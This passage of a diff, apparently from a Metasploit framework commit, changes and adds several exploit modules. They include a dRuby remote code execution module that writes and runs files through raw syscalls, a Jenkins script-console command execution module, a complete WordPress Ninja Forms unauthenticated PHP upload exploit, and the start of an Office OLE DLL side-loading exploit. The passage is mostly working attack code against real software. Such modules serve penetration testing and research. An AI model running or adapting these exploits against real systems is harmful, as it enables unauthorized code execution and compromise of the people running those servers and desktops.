||||||
|
fd = ::File.open( path, "rb")
|
||||||
|
cve_2015_8660 = fd.read(fd.stat.size)
|
||||||
|
fd.close
|
||||||
|
upload_and_chmod(executable_path, cve_2015_8660)
|
||||||
|
# overwrite with the hardcoded variable names in the compiled versions
|
||||||
|
payload_filename = '1H0qLaq2'
|
||||||
|
payload_path = '/tmp/1H0qLaq2'
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
upload_and_chmod(payload_path, generate_payload_exe)
|
||||||
|
vprint_status('Exploiting...')
|
||||||
|
output = cmd_exec(executable_path)
|
||||||
|
output.each_line { |line| vprint_status(line.chomp) }
|
||||||
|
end
|
||||||
|
end
|
|
@ -66,6 +66,24 @@ class MetasploitModule < Msf::Exploit::Local
|
||||||
@executable_path
|
@executable_path
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
# version can be nil
|
||||||
|
version = cmd_exec('pkexec --version').split.last
|
||||||
|
|
||||||
|
# version can be a string, so we check it
|
||||||
|
if version.nil? || !Gem::Version.correct?(version)
|
||||||
|
vprint_error('pkexec not found or version incorrect')
|
||||||
|
return CheckCode::Unknown
|
||||||
|
end
|
||||||
|
|
||||||
|
if Gem::Version.new(version) <= Gem::Version.new('0.101')
|
||||||
|
vprint_good("pkexec #{version} found")
|
||||||
|
return CheckCode::Appears
|
||||||
|
end
|
||||||
|
|
||||||
|
CheckCode::Detected
|
||||||
|
end
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
main = %q^
|
main = %q^
|
||||||
/*
|
/*
|
||||||
|
|
|
@ -7,33 +7,39 @@ require 'msf/core'
|
||||||
require 'drb/drb'
|
require 'drb/drb'
|
||||||
|
|
||||||
class MetasploitModule < Msf::Exploit::Remote
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
|
||||||
Rank = ExcellentRanking
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'Distributed Ruby Send instance_eval/syscall Code Execution',
|
'Name' => 'Distributed Ruby Send instance_eval/syscall Code Execution',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module exploits remote code execution vulnerabilities in dRuby
|
This module exploits remote code execution vulnerabilities in dRuby.
|
||||||
|
|
||||||
|
If the dRuby application sets $SAFE = 1, the instance_eval target will fail.
|
||||||
|
In this event, the syscall target is preferred. This can be set with target 1.
|
||||||
},
|
},
|
||||||
'Author' => [ 'joernchen <joernchen[at]phenoelit.de>' ], #(Phenoelit)
|
'Author' => [ 'joernchen <joernchen[at]phenoelit.de>' ], #(Phenoelit)
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
[ 'URL', 'http://www.ruby-doc.org/stdlib-1.9.3/libdoc/drb/rdoc/DRb.html' ],
|
[ 'URL', 'http://www.ruby-doc.org/stdlib-1.9.3/libdoc/drb/rdoc/DRb.html' ],
|
||||||
|
[ 'URL', 'http://blog.recurity-labs.com/archives/2011/05/12/druby_for_penetration_testers/' ]
|
||||||
],
|
],
|
||||||
'Privileged' => false,
|
'Privileged' => false,
|
||||||
'Payload' =>
|
'Payload' =>
|
||||||
{
|
{
|
||||||
'DisableNops' => true,
|
'DisableNops' => true,
|
||||||
'Compat' =>
|
|
||||||
{
|
|
||||||
'PayloadType' => 'cmd',
|
|
||||||
},
|
|
||||||
'Space' => 32768,
|
'Space' => 32768,
|
||||||
},
|
},
|
||||||
'Platform' => 'unix',
|
'Platform' => 'unix',
|
||||||
'Arch' => ARCH_CMD,
|
'Arch' => ARCH_CMD,
|
||||||
'Targets' => [[ 'Automatic', { }]],
|
'Targets' => [
|
||||||
|
['instance_eval', {}],
|
||||||
|
['syscall', {}]
|
||||||
|
],
|
||||||
'DisclosureDate' => 'Mar 23 2011',
|
'DisclosureDate' => 'Mar 23 2011',
|
||||||
'DefaultTarget' => 0))
|
'DefaultTarget' => 0))
|
||||||
|
|
||||||
|
@ -51,19 +57,37 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
class << p
|
class << p
|
||||||
undef :send
|
undef :send
|
||||||
end
|
end
|
||||||
|
|
||||||
|
case target.name
|
||||||
|
when 'instance_eval'
|
||||||
|
print_status('Trying to exploit instance_eval')
|
||||||
|
exploit_instance_eval(p)
|
||||||
|
when 'syscall'
|
||||||
|
print_status('Trying to exploit syscall')
|
||||||
|
exploit_syscall(p)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit_instance_eval(p)
|
||||||
begin
|
begin
|
||||||
print_status('trying to exploit instance_eval')
|
|
||||||
p.send(:instance_eval,"Kernel.fork { `#{payload.encoded}` }")
|
p.send(:instance_eval,"Kernel.fork { `#{payload.encoded}` }")
|
||||||
|
rescue SecurityError
|
||||||
|
print_error('instance_eval failed due to security error')
|
||||||
|
rescue DRb::DRbConnError
|
||||||
|
print_error('instance_eval failed due to connection error')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
rescue SecurityError => e
|
def exploit_syscall(p)
|
||||||
print_status('instance eval failed, trying to exploit syscall')
|
filename = "." + Rex::Text.rand_text_alphanumeric(16)
|
||||||
filename = "." + Rex::Text.rand_text_alphanumeric(16)
|
|
||||||
|
begin
|
||||||
begin
|
begin
|
||||||
|
print_status('Attempting 32-bit exploitation')
|
||||||
# syscall to decide wether it's 64 or 32 bit:
|
# syscall to decide wether it's 64 or 32 bit:
|
||||||
# it's getpid on 32bit which will succeed, and writev on 64bit
|
# it's getpid on 32bit which will succeed, and writev on 64bit
|
||||||
# which will fail due to missing args
|
# which will fail due to missing args
|
||||||
j = p.send(:syscall,20)
|
p.send(:syscall,20)
|
||||||
# syscall open
|
# syscall open
|
||||||
i = p.send(:syscall,8,filename,0700)
|
i = p.send(:syscall,8,filename,0700)
|
||||||
# syscall write
|
# syscall write
|
||||||
|
@ -75,13 +99,9 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
# syscall execve
|
# syscall execve
|
||||||
p.send(:syscall,11,filename,0,0)
|
p.send(:syscall,11,filename,0,0)
|
||||||
|
|
||||||
# not vulnerable
|
|
||||||
rescue SecurityError => e
|
|
||||||
|
|
||||||
print_status('target is not vulnerable')
|
|
||||||
|
|
||||||
# likely 64bit system
|
# likely 64bit system
|
||||||
rescue => e
|
rescue Errno::EBADF
|
||||||
|
print_status('Target is a 64-bit system')
|
||||||
# syscall creat
|
# syscall creat
|
||||||
i = p.send(:syscall,85,filename,0700)
|
i = p.send(:syscall,85,filename,0700)
|
||||||
# syscall write
|
# syscall write
|
||||||
|
@ -93,9 +113,17 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
# syscall execve
|
# syscall execve
|
||||||
p.send(:syscall,59,filename,0,0)
|
p.send(:syscall,59,filename,0,0)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# not vulnerable
|
||||||
|
rescue SecurityError
|
||||||
|
print_error('syscall failed due to security error')
|
||||||
|
return
|
||||||
|
rescue DRb::DRbConnError
|
||||||
|
print_error('syscall failed due to connection error')
|
||||||
|
return
|
||||||
end
|
end
|
||||||
print_status("payload executed from file #{filename}") unless filename.nil?
|
|
||||||
print_status("make sure to remove that file") unless filename.nil?
|
register_files_for_cleanup(filename)
|
||||||
handler(nil)
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -154,7 +154,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# NRPE uses unauthenticated Annonymous-Diffie-Hellman
|
# NRPE uses unauthenticated Anonymous-Diffie-Hellman
|
||||||
|
|
||||||
# setting the global SSL => true will break as we would be overlaying
|
# setting the global SSL => true will break as we would be overlaying
|
||||||
# an SSLSocket on another SSLSocket which hasnt completed its handshake
|
# an SSLSocket on another SSLSocket which hasnt completed its handshake
|
||||||
|
@ -163,7 +163,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
self.sock = super(global, opts)
|
self.sock = super(global, opts)
|
||||||
|
|
||||||
if datastore['NRPESSL'] or @force_ssl
|
if datastore['NRPESSL'] or @force_ssl
|
||||||
ctx = OpenSSL::SSL::SSLContext.new("TLSv1")
|
ctx = OpenSSL::SSL::SSLContext.new(:TLSv1)
|
||||||
ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
|
ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
|
||||||
ctx.ciphers = "ADH"
|
ctx.ciphers = "ADH"
|
||||||
|
|
||||||
|
|
|
@ -31,10 +31,10 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
'Targets' =>
|
'Targets' =>
|
||||||
[
|
[
|
||||||
[ 'OpenNMS / Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],
|
[ 'OpenNMS / Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],
|
||||||
[ 'OpenNMS / Linux x86_64', { 'Arch' => ARCH_X86_64, 'Platform' => 'linux' } ]
|
[ 'OpenNMS / Linux x86_64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ]
|
||||||
],
|
],
|
||||||
'DefaultTarget' => 0,
|
'DefaultTarget' => 0,
|
||||||
'DisclosureDate' => 'Nov 19 2014'
|
'DisclosureDate' => 'Nov 06 2015'
|
||||||
)
|
)
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
|
@ -168,6 +168,20 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
}
|
}
|
||||||
],
|
],
|
||||||
|
|
||||||
|
['Linux Heap Brute Force (OpenWRT MIPS)',
|
||||||
|
{
|
||||||
|
'Platform' => 'linux',
|
||||||
|
'Arch' => [ ARCH_MIPSBE ],
|
||||||
|
'Nops' => 64*1024,
|
||||||
|
'Bruteforce' =>
|
||||||
|
{
|
||||||
|
'Start' => { 'Ret' => 0x55900000 },
|
||||||
|
'Stop' => { 'Ret' => 0x559c0000 },
|
||||||
|
'Step' => 60*1024,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
],
|
||||||
|
|
||||||
['DEBUG',
|
['DEBUG',
|
||||||
{
|
{
|
||||||
'Platform' => 'linux',
|
'Platform' => 'linux',
|
||||||
|
@ -267,7 +281,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
talloc_magic = "\x70\xec\x14\xe8"
|
talloc_magic = "\x70\xec\x14\xe8"
|
||||||
|
|
||||||
# second talloc_chunk header
|
# second talloc_chunk header
|
||||||
buf << 'A' * 8 # next, prev
|
buf << NDR.long(0) + NDR.long(0) # next, prev
|
||||||
buf << NDR.long(0) + NDR.long(0) # parent, child
|
buf << NDR.long(0) + NDR.long(0) # parent, child
|
||||||
buf << NDR.long(0) # refs
|
buf << NDR.long(0) # refs
|
||||||
buf << [target_addrs['Ret']].pack('V') # destructor
|
buf << [target_addrs['Ret']].pack('V') # destructor
|
||||||
|
|
|
@ -30,7 +30,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
],
|
],
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Platform' => ['linux', 'bsd'], # binary > native JavaScript
|
'Platform' => ['linux', 'bsd'], # binary > native JavaScript
|
||||||
'Arch' => [ARCH_X86, ARCH_X86_64],
|
'Arch' => [ARCH_X86, ARCH_X64],
|
||||||
'Privileged' => false,
|
'Privileged' => false,
|
||||||
'Targets' =>
|
'Targets' =>
|
||||||
[
|
[
|
||||||
|
|
|
@ -78,7 +78,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
def http_send_command(cmd, opts = {})
|
def http_send_command(cmd, opts = {})
|
||||||
request_parameters = {
|
request_parameters = {
|
||||||
'method' => 'POST',
|
'method' => 'POST',
|
||||||
'uri' => normalize_uri(@uri.path, "script"),
|
'uri' => normalize_uri(@uri.path, 'script'),
|
||||||
'vars_post' =>
|
'vars_post' =>
|
||||||
{
|
{
|
||||||
'script' => java_craft_runtime_exec(cmd),
|
'script' => java_craft_runtime_exec(cmd),
|
||||||
|
@ -86,7 +86,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
request_parameters['cookie'] = @cookie if @cookie != nil
|
request_parameters['cookie'] = @cookie if @cookie != nil
|
||||||
request_parameters['vars_post']['.crumb'] = @crumb if @crumb != nil
|
request_parameters['vars_post'][@crumb[:name]] = @crumb[:value] unless @crumb.nil?
|
||||||
res = send_request_cgi(request_parameters)
|
res = send_request_cgi(request_parameters)
|
||||||
if not (res and res.code == 200)
|
if not (res and res.code == 200)
|
||||||
fail_with(Failure::Unknown, 'Failed to execute the command.')
|
fail_with(Failure::Unknown, 'Failed to execute the command.')
|
||||||
|
@ -159,8 +159,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
'uri' => normalize_uri(@uri.path, "j_acegi_security_check"),
|
'uri' => normalize_uri(@uri.path, "j_acegi_security_check"),
|
||||||
'vars_post' =>
|
'vars_post' =>
|
||||||
{
|
{
|
||||||
'j_username' => Rex::Text.uri_encode(datastore['USERNAME'], 'hex-normal'),
|
'j_username' => datastore['USERNAME'],
|
||||||
'j_password' => Rex::Text.uri_encode(datastore['PASSWORD'], 'hex-normal'),
|
'j_password' => datastore['PASSWORD'],
|
||||||
'Submit' => 'log in'
|
'Submit' => 'log in'
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
|
@ -177,9 +177,12 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
print_status('No authentication required, skipping login...')
|
print_status('No authentication required, skipping login...')
|
||||||
end
|
end
|
||||||
|
|
||||||
if (res.body =~ /"\.crumb", "([a-z0-9]*)"/)
|
if res.body =~ /"\.crumb", "([a-z0-9]*)"/
|
||||||
print_status("Using CSRF token: '#{$1}'")
|
print_status("Using CSRF token: '#{$1}' (.crumb style)")
|
||||||
@crumb = $1
|
@crumb = {:name => '.crumb', :value => $1}
|
||||||
|
elsif res.body =~ /crumb\.init\("Jenkins-Crumb", "([a-z0-9]*)"\)/
|
||||||
|
print_status("Using CSRF token: '#{$1}' (Jenkins-Crumb style)")
|
||||||
|
@crumb = {:name => 'Jenkins-Crumb', :value => $1}
|
||||||
end
|
end
|
||||||
|
|
||||||
case target['Platform']
|
case target['Platform']
|
||||||
|
|
|
@ -312,7 +312,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
origin_type: :service,
|
origin_type: :service,
|
||||||
module_fullname: self.fullname,
|
module_fullname: self.fullname,
|
||||||
private_type: :password,
|
private_type: :password,
|
||||||
private_data: datastore['HttpPassword'].downcase,
|
private_data: datastore['HttpPassword'],
|
||||||
username: datastore['HttpUsername']
|
username: datastore['HttpUsername']
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,176 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://www.metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
include Msf::Exploit::Remote::HTTP::Wordpress
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(
|
||||||
|
info,
|
||||||
|
'Name' => 'WordPress Ninja Forms Unauthenticated File Upload',
|
||||||
|
'Description' => %(
|
||||||
|
Versions 2.9.36 to 2.9.42 of the Ninja Forms plugin contain
|
||||||
|
an unauthenticated file upload vulnerability, allowing guests
|
||||||
|
to upload arbitrary PHP code that can be executed in the context
|
||||||
|
of the web server.
|
||||||
|
),
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'James Golovich', # Discovery and disclosure
|
||||||
|
'Rob Carr <rob[at]rastating.com>' # Metasploit module
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CVE', '2016-1209'],
|
||||||
|
['WPVDB', '8485'],
|
||||||
|
['URL', 'http://www.pritect.net/blog/ninja-forms-2-9-42-critical-security-vulnerabilities']
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'May 04 2016',
|
||||||
|
'Platform' => 'php',
|
||||||
|
'Arch' => ARCH_PHP,
|
||||||
|
'Targets' => [['ninja-forms', {}]],
|
||||||
|
'DefaultTarget' => 0
|
||||||
|
))
|
||||||
|
|
||||||
|
opts = [OptString.new('FORM_PATH', [true, 'The relative path of the page that hosts any form served by Ninja Forms'])]
|
||||||
|
register_options(opts, self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def print_status(msg='')
|
||||||
|
super("#{peer} - #{msg}")
|
||||||
|
end
|
||||||
|
|
||||||
|
def print_good(msg='')
|
||||||
|
super("#{peer} - #{msg}")
|
||||||
|
end
|
||||||
|
|
||||||
|
def print_error(msg='')
|
||||||
|
super("#{peer} - #{msg}")
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
check_plugin_version_from_readme('ninja-forms', '2.9.43', '2.9.36')
|
||||||
|
end
|
||||||
|
|
||||||
|
def enable_v3_functionality
|
||||||
|
print_status 'Enabling vulnerable V3 functionality...'
|
||||||
|
res = send_request_cgi(
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => target_uri.path,
|
||||||
|
'vars_get' => { 'nf-switcher' => 'upgrade' }
|
||||||
|
)
|
||||||
|
|
||||||
|
unless res && res.code == 200
|
||||||
|
if res
|
||||||
|
fail_with(Failure::Unreachable, "Failed to enable the vulnerable V3 functionality. Server returned: #{res.code}, should be 200.")
|
||||||
|
else
|
||||||
|
fail_with(Failure::Unreachable, 'Connection timed out.')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
vprint_good 'Enabled V3 functionality'
|
||||||
|
end
|
||||||
|
|
||||||
|
def disable_v3_functionality
|
||||||
|
print_status 'Disabling vulnerable V3 functionality...'
|
||||||
|
res = send_request_cgi(
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => target_uri.path,
|
||||||
|
'vars_get' => { 'nf-switcher' => 'rollback' }
|
||||||
|
)
|
||||||
|
|
||||||
|
if res && res.code == 200
|
||||||
|
vprint_good 'Disabled V3 functionality'
|
||||||
|
elsif !res
|
||||||
|
print_error('Connection timed out while disabling V3 functionality')
|
||||||
|
else
|
||||||
|
print_error 'Failed to disable the vulnerable V3 functionality'
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate_mime_message(payload_name, nonce)
|
||||||
|
data = Rex::MIME::Message.new
|
||||||
|
data.add_part('nf_async_upload', nil, nil, 'form-data; name="action"')
|
||||||
|
data.add_part(nonce, nil, nil, 'form-data; name="security"')
|
||||||
|
data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"#{Rex::Text.rand_text_alpha(10)}\"; filename=\"#{payload_name}\"")
|
||||||
|
data
|
||||||
|
end
|
||||||
|
|
||||||
|
def fetch_ninja_form_nonce
|
||||||
|
uri = normalize_uri(target_uri.path, datastore['FORM_PATH'])
|
||||||
|
res = send_request_cgi(
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => uri
|
||||||
|
)
|
||||||
|
|
||||||
|
unless res && res.code == 200
|
||||||
|
fail_with(Failure::UnexpectedReply, "Unable to access FORM_PATH: #{datastore['FORM_PATH']}")
|
||||||
|
end
|
||||||
|
|
||||||
|
form_wpnonce = res.get_hidden_inputs.first
|
||||||
|
form_wpnonce = form_wpnonce['_wpnonce'] if form_wpnonce
|
||||||
|
|
||||||
|
nonce = res.body[/var nfFrontEnd = \{"ajaxNonce":"([a-zA-Z0-9]+)"/i, 1] || form_wpnonce
|
||||||
|
|
||||||
|
unless nonce
|
||||||
|
fail_with(Failure::Unknown, 'Cannot find wpnonce or ajaxNonce from FORM_PATH')
|
||||||
|
end
|
||||||
|
|
||||||
|
nonce
|
||||||
|
end
|
||||||
|
|
||||||
|
def upload_payload(data)
|
||||||
|
res = send_request_cgi(
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => wordpress_url_admin_ajax,
|
||||||
|
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||||
|
'data' => data.to_s
|
||||||
|
)
|
||||||
|
|
||||||
|
fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
|
||||||
|
vprint_error("Server responded with status code #{res.code}") if res.code != 200
|
||||||
|
end
|
||||||
|
|
||||||
|
def execute_payload(payload_name, payload_url)
|
||||||
|
register_files_for_cleanup("nftmp-#{payload_name.downcase}")
|
||||||
|
res = send_request_cgi({ 'uri' => payload_url, 'method' => 'GET' }, 5)
|
||||||
|
|
||||||
|
if !res.nil? && res.code == 404
|
||||||
|
print_error("Failed to upload the payload")
|
||||||
|
else
|
||||||
|
print_good("Executed payload")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
# Vulnerable code is only available in the version 3 preview mode, which can be
|
||||||
|
# enabled by unauthenticated users due to lack of user level validation.
|
||||||
|
enable_v3_functionality
|
||||||
|
|
||||||
|
# Once the V3 preview mode is enabled, we can acquire a nonce by requesting any
|
||||||
|
# page that contains a form generated by Ninja Forms.
|
||||||
|
nonce = fetch_ninja_form_nonce
|
||||||
|
|
||||||
|
print_status("Preparing payload...")
|
||||||
|
payload_name = "#{Rex::Text.rand_text_alpha(10)}.php"
|
||||||
|
payload_url = normalize_uri(wordpress_url_wp_content, 'uploads', "nftmp-#{payload_name.downcase}")
|
||||||
|
data = generate_mime_message(payload_name, nonce)
|
||||||
|
|
||||||
|
print_status("Uploading payload to #{payload_url}")
|
||||||
|
upload_payload(data)
|
||||||
|
|
||||||
|
print_status("Executing the payload...")
|
||||||
|
execute_payload(payload_name, payload_url)
|
||||||
|
|
||||||
|
# Once the payload has been executed, we can disable the preview functionality again.
|
||||||
|
disable_v3_functionality
|
||||||
|
end
|
||||||
|
end
|
|
@ -10,6 +10,9 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
|
||||||
include Msf::Exploit::FileDropper
|
include Msf::Exploit::FileDropper
|
||||||
include Msf::Exploit::Remote::HTTP::Wordpress
|
include Msf::Exploit::Remote::HTTP::Wordpress
|
||||||
|
include Msf::Module::Deprecated
|
||||||
|
|
||||||
|
deprecated(Date.new(2016, 12, 10), 'exploit/multi/http/wp_ninja_forms_unauthenticated_file_upload')
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(
|
super(update_info(
|
||||||
|
|
|
@ -0,0 +1,280 @@
|
||||||
|
require 'zip'
|
||||||
|
require 'base64'
|
||||||
|
require 'msf/core'
|
||||||
|
require 'rex/ole'
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = NormalRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::FILEFORMAT
|
||||||
|
include Msf::Exploit::EXE
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Office OLE Multiple DLL Side Loading Vulnerabilities',
|
||||||
|
'Description' => %q{
|
||||||
|
Multiple DLL side loading vulnerabilities were found in various COM components.
|
||||||
|
These issues can be exploited by loading various these components as an embedded
|
||||||
|
OLE object. When instantiating a vulnerable object Windows will try to load one
|
||||||
|
or more DLLs from the current working directory. If an attacker convinces the
|
||||||
|
victim to open a specially crafted (Office) document from a directory also
|
||||||
|
containing the attacker's DLL file, it is possible to execute arbitrary code with
|
||||||
|
the privileges of the target user. This can potentially result in the attacker
|
||||||
|
taking complete control of the affected system.
|
||||||
|
},
|
||||||
|
'Author' => 'Yorick Koster',
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CVE', '2015-6132'],
|
||||||
|
['CVE', '2015-6128'],
|
||||||
|
['CVE', '2015-6133'],
|
||||||
|
['CVE', '2016-0041'],
|
||||||
|
['CVE', '2016-0100'],
|
||||||
|
['CVE', '2016-3235'],
|
||||||
|
['MSB', 'MS15-132'],
|
||||||
|
['MSB', 'MS16-014'],
|
||||||
|
['MSB', 'MS16-025'],
|
||||||
|
['MSB', 'MS16-041'],
|
||||||
|
['MSB', 'MS16-070'],
|
||||||
|
['URL', 'https://securify.nl/advisory/SFY20150801/com__services_dll_side_loading_vulnerability.html'],
|
||||||
|
['URL', 'https://securify.nl/advisory/SFY20150805/event_viewer_snapin_multiple_dll_side_loading_vulnerabilities.html'],
|
||||||
|
['URL', 'https://securify.nl/advisory/SFY20150803/windows_authentication_ui_dll_side_loading_vulnerability.html'],
|
||||||
|
['URL', 'https://securify.nl/advisory/SFY20151102/shutdown_ux_dll_side_loading_vulnerability.html'],
|
||||||
|
['URL', 'https://securify.nl/advisory/SFY20150802/shockwave_flash_object_dll_side_loading_vulnerability.html'],
|
||||||
|
['URL', 'https://securify.nl/advisory/SFY20150806/ole_db_provider_for_oracle_multiple_dll_side_loading_vulnerabilities.html'],
|
||||||
|
['URL', 'https://securify.nl/advisory/SFY20150905/nps_datastore_server_dll_side_loading_vulnerability.html'],
|
||||||
|
['URL', 'https://securify.nl/advisory/SFY20150906/bda_mpeg2_transport_information_filter_dll_side_loading_vulnerability.html'],
|
||||||
|
['URL', 'https://securify.nl/advisory/SFY20151101/mapsupdatetask_task_dll_side_loading_vulnerability.html'],
|
||||||
|
['URL', 'https://securify.nl/advisory/SFY20150904/windows_mail_find_people_dll_side_loading_vulnerability.html'],
|
||||||
|
['URL', 'https://securify.nl/advisory/SFY20150804/microsoft_visio_multiple_dll_side_loading_vulnerabilities.html'],
|
||||||
|
],
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'EXITFUNC' => 'thread',
|
||||||
|
'PAYLOAD' => 'windows/exec',
|
||||||
|
'CMD' => 'C:\\Windows\\System32\\calc.exe',
|
||||||
|
},
|
||||||
|
'Payload' => { 'Space' => 2048, },
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'All', {} ],
|
||||||
|
[
|
||||||
|
'COM+ Services / Windows Vista - 10 / Office 2007 - 2016 (MS15-132)',
|
||||||
|
{
|
||||||
|
'DLL' => 'mqrt.dll',
|
||||||
|
# {ecabafc9-7f19-11d2-978e-0000f8757e2a}
|
||||||
|
'CLSID' => "\xC9\xAF\xAB\xEC\x19\x7F\xD2\x11\x97\x8E\x00\x00\xF8\x75\x7E\x2A"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
[
|
||||||
|
'Shockwave Flash Object / Windows 10 / Office 2013 (APSB15-28)',
|
||||||
|
{
|
||||||
|
'DLL' => 'spframe.dll',
|
||||||
|
# {D27CDB6E-AE6D-11cf-96B8-444553540000}
|
||||||
|
'CLSID' => "\x6E\xDB\x7C\xD2\x6D\xAE\xCF\x11\x96\xB8\x44\x45\x53\x54\x00\x00"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
[
|
||||||
|
'Windows Authentication UI / Windows 10 / Office 2013 - 2016 (MS15-132)',
|
||||||
|
{
|
||||||
|
'DLL' => 'wuaext.dll',
|
||||||
|
# {D93CE8B5-3BF8-462C-A03F-DED2730078BA}
|
||||||
|
'CLSID' => "\xB5\xE8\x3C\xD9\xF8\x3B\x2C\x46\xA0\x3F\xDE\xD2\x73\x00\x78\xBA"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
[
|
||||||
|
'Shutdown UX / Windows 10 / Office 2016 (MS15-132)',
|
||||||
|
{
|
||||||
|
'DLL' => 'wuaext.dll',
|
||||||
|
# {14ce31dc-abc2-484c-b061-cf3416aed8ff}
|
||||||
|
'CLSID' => "\xDC\x31\xCE\x14\xC2\xAB\x4C\x48\xB0\x61\xCF\x34\x16\xAE\xD8\xFF"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
[
|
||||||
|
'MapUpdateTask Tasks / Windows 10 / Office 2016 (MS16-014)',
|
||||||
|
{
|
||||||
|
'DLL' => 'phoneinfo.dll',
|
||||||
|
# {B9033E87-33CF-4D77-BC9B-895AFBBA72E4}
|
||||||
|
'CLSID' => "\x87\x3E\x03\xB9\xCF\x33\x77\x4D\xBC\x9B\x89\x5A\xFB\xBA\x72\xE4"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
[
|
||||||
|
'Microsoft Visio 2010 / Windows 7 (MS16-070)',
|
||||||
|
{
|
||||||
|
'DLL' => 'msoutls.dll',
|
||||||
|
# 6C92B806-B900-4392-89F7-2ED4B4C23211}
|
||||||
|
'CLSID' => "\x06\xB8\x92\x6C\x00\xB9\x92\x43\x89\xF7\x2E\xD4\xB4\xC2\x32\x11"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
[
|
||||||
|
'Event Viewer Snapin / Windows Vista - 7 / Office 2007 - 2013 (MS15-132)',
|
||||||
|
{
|
||||||
|
'DLL' => 'elsext.dll',
|
||||||
|
# {394C052E-B830-11D0-9A86-00C04FD8DBF7}
|
||||||
|
'CLSID' => "\x2E\x05\x4C\x39\x30\xB8\xD0\x11\x9A\x86\x00\xC0\x4F\xD8\xDB\xF7"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
[
|
||||||
|
'OLE DB Provider for Oracle / Windows Vista - 7 / Office 2007 - 2013 (MS16-014)',
|
||||||
|
{
|
||||||
|
'DLL' => 'oci.dll',
|
||||||
|
# {e8cc4cbf-fdff-11d0-b865-00a0c9081c1d}
|
||||||
|
